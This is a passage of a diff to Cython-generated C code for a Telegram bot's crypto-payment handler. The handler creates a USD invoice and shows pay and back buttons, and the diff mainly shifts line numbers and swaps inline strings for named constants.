} @@ -8979,68 +8985,68 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 252, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 253, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 252, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 253, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 253, __pyx_L9_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 254, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 253, __pyx_L9_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 254, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 254, __pyx_L9_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L9_error) + __pyx_t_3 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_3) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_3) < 0) __PYX_ERR(0, 254, __pyx_L9_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L9_error) + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = 0; __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__33); + __Pyx_INCREF(__pyx_kp_u__24); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 22; - __Pyx_GIVEREF(__pyx_kp_u__33); - PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__33); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L9_error) + __Pyx_GIVEREF(__pyx_kp_u__24); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__24); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); __pyx_t_2 = 0; - __Pyx_INCREF(__pyx_kp_u__10); + __Pyx_INCREF(__pyx_kp_u__25); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 4; - __Pyx_GIVEREF(__pyx_kp_u__10); - PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__10); - __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L9_error) + __Pyx_GIVEREF(__pyx_kp_u__25); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__25); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 254, __pyx_L9_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L9_error) + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; __pyx_t_7 = 127; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 257, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; @@ -9048,24 +9054,24 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__11); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__11); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__11); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L9_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__8); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_payload, __pyx_t_3) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_payload, __pyx_t_3) < 0) __PYX_ERR(0, 254, __pyx_L9_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -9095,21 +9101,21 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 252, __pyx_L9_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 253, __pyx_L9_error) __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); } else { __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 252, __pyx_L9_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 253, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); } __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_invoice = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_5 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_5 == ((int)-1))) __PYX_ERR(0, 260, __pyx_L9_error) + __pyx_t_5 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_5 == ((int)-1))) __PYX_ERR(0, 261, __pyx_L9_error) if (__pyx_t_5) { - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 262, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -9129,7 +9135,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L9_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -9137,19 +9143,22 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 262, __pyx_L9_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 263, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 263, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__12) < 0) __PYX_ERR(0, 263, __pyx_L9_error) - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 263, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_PAY); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 264, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_t_8) < 0) __PYX_ERR(0, 263, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 264, __pyx_L9_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 263, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 264, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_t_8) < 0) __PYX_ERR(0, 264, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 264, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -9172,22 +9181,25 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L9_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 265, __pyx_L9_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 266, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 267, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 267, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 266, __pyx_L9_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 266, __pyx_L9_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_BACK); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 267, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 267, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -9210,60 +9222,48 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 265, __pyx_L9_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 268, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 268, __pyx_L9_error) + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 269, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_message)) __PYX_ERR(0, 268, __pyx_L9_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_message)) __PYX_ERR(0, 269, __pyx_L9_error); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 270, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 271, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = 0; - __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__13); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 25; - __Pyx_GIVEREF(__pyx_kp_u__13); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__13); - __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 270, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); - __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_7; - __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); - __Pyx_GIVEREF(__pyx_t_8); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_8); - __pyx_t_8 = 0; - __Pyx_INCREF(__pyx_kp_u__14); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 8; - __Pyx_GIVEREF(__pyx_kp_u__14); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__14); - __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 270, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 271, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 270, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_13 = NULL; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 271, __pyx_L9_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 271, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 271, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_2))) { - __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_2); - if (likely(__pyx_t_13)) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); - __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_4 = 1; @@ -9271,23 +9271,23 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; - __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 271, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 272, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 270, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_13) < 0) __PYX_ERR(0, 271, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 268, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - 